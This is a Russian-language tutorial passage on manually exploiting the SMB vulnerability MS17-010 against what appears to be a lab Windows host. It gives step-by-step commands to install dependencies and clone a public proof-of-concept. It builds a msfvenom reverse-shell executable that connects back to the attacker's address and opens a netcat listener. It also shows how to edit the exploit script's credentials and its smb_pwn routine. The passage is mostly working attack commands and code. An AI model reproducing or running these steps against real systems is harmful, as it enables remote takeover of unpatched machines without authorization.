Ручная эксплуатация:

Доступ к хосту может быть получена с помощью PoC. Для этого нам необходимо поставить зависимости и склонировать репозиторий на хост, с которого будем проводить атаку

curl <https://bootstrap.pypa.io/pip/2.7/get-pip.py> -o get-pip.py
sudo python2.7 get-pip.py
sudo python2.7 -m pip install distribute
sudo python2.7 -m pip install impacket==0.10.0
git clone <https://github.com/worawit/MS17-010.git>
cd MS17-010/
python2.7 checker.py 192.168.0.59

Untitled

Данным скриптом мы пробежались по короткому списку именованных каналов, что не дало нам ожидаемого результата. Придется в дальнейшем пройтись по нему вручную. Теперь перейдем к самому эксплоиту zzz_exploit.py.

Но прежде чем заниматься редактированием скрипта, давайте создадим полезную нагрузку для получения удаленного доступа на атакуемый хост:

msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.0.143 lport=4444 -f exe > implant.exe

А затем запустим прослушиватель внешних подключений в контексте nc используя screen:

screen -S shell

nc -nvlp 4444

Чтобы выйти из контекста скрина зажмите сочетание клавиш:

Ctrl+A+D

Теперь нам необходимо открыть его в любом текстовом редакторе, чтобы внести некоторые изменения.

Модификация эксплойта

В поле имя пользователя мы вставляем два слеша для того, чтобы сервер использовал конфигурацию по умолчанию и мы подключились как Гость без пароля.

ИМЯ ПОЛЬЗОВАТЕЛЯ = '//'
ПАРОЛЬ = ''

Либо, если мы знаем имя пользователя и пароли и просто хотим повысить свои привилегии до системы можно указать эти данные в явном виде:

ИМЯ ПОЛЬЗОВАТЕЛЯ = 'vagrant'
ПАРОЛЬ = 'vagrant'

Также требуется небольшая модификация метода smb_pwn, поскольку по умолчанию он создает только текстовый файл в корне диска.

        print('creating file c:\\\\pwned.txt on the target')
        tid2 = smbConn.connectTree('C$')
        fid2 = smbConn.createFile(tid2, '/pwned.txt')
        smbConn.closeFile(tid2, fid2)
        smbConn.disconnectTree(tid2)